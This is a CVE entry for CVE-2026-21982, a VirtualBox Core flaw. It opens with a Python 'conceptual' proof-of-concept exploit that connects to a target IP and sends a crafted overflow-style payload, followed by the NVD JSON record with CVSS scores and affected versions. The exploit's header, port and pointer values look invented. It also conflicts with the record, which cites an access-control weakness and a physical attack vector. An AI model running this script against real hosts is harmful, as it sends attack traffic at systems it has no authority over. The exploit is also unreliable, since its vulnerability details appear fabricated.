CVE-2026-21982

# CVE-2026-21982 PoC - Oracle VM VirtualBox Core Component Exploit # Note: This is a conceptual proof of concept for research purposes import struct import socket import sys def create_exploit_payload(): """ Create malicious payload for VirtualBox Core component This targets the vulnerability in VM lifecycle management """ # VirtualBox VM control message header header = b'\x7f' + b'\x56' + b'\x42' # VB header signature # Message type - VM operation request msg_type = struct.pack('<I', 0x1001) # VM_CONTROL_MSG # Payload size payload_size = struct.pack('<I', 0x1000) # Malicious payload targeting Core component # This exploits improper input validation in VM configuration handling exploit_data = b'\x41' * 0xFF # Padding exploit_data += struct.pack('<Q', 0x4141414141414141) # Corrupted pointer exploit_data += b'\x00' * (0x1000 - len(exploit_data)) return header + msg_type + payload_size + exploit_data def send_exploit(target_ip, target_port=0x215F): """ Send exploit payload to target VirtualBox instance Requires adjacent network access to the host """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) payload = create_exploit_payload() sock.send(payload) response = sock.recv(1024) print(f"Response received: {len(response)} bytes") sock.close() return True except Exception as e: print(f"Exploit failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21982-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting Oracle VM VirtualBox at {target}") print(f"[*] Exploiting CVE-2026-21982...") send_exploit(target)

{"cve": {"id": "CVE-2026-21982", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:16:01.637", "lastModified": "2026-01-29T14:40:31.097", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle VM VirtualBox product of Oracle Virtualization (component: Core). Supported versions that are affected are 7.1.14 and 7.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle VM VirtualBox executes to compromise Oracle VM VirtualBox. Successful attacks of this vulnerability can result in takeover of Oracle VM VirtualBox. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle VM VirtualBox de Oracle Virtualization (componente: Core). Versiones compatibles que están afectadas son 7.1.14 y 7.2.4. Vulnerabilidad difícil de explotar permite a un atacante no autenticado con acceso al segmento de comunicación físico adjunto al hardware donde se ejecuta Oracle VM VirtualBox comprometer Oracle VM VirtualBox. Ataques exitosos de esta vulnerabilidad pueden resultar en la toma de control de Oracle VM VirtualBox. Puntuación base CVSS 3.1 de 7.5 (Impactos en Confidencialidad, Integridad y Disponibilidad). Vector CVSS: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:vm_virtualbox:7.1.14:*:*:*:*:*:*:*", "matchCriteriaId": "723CD90A-7213-4B3C-B969-C6D7110CAF46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:vm_virtualbox:7.2.4:*:*:*:*:*:*:*", "matchCriteriaId": "44ABFABE-8FFC-48CF-B627-4241CAD563B6"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}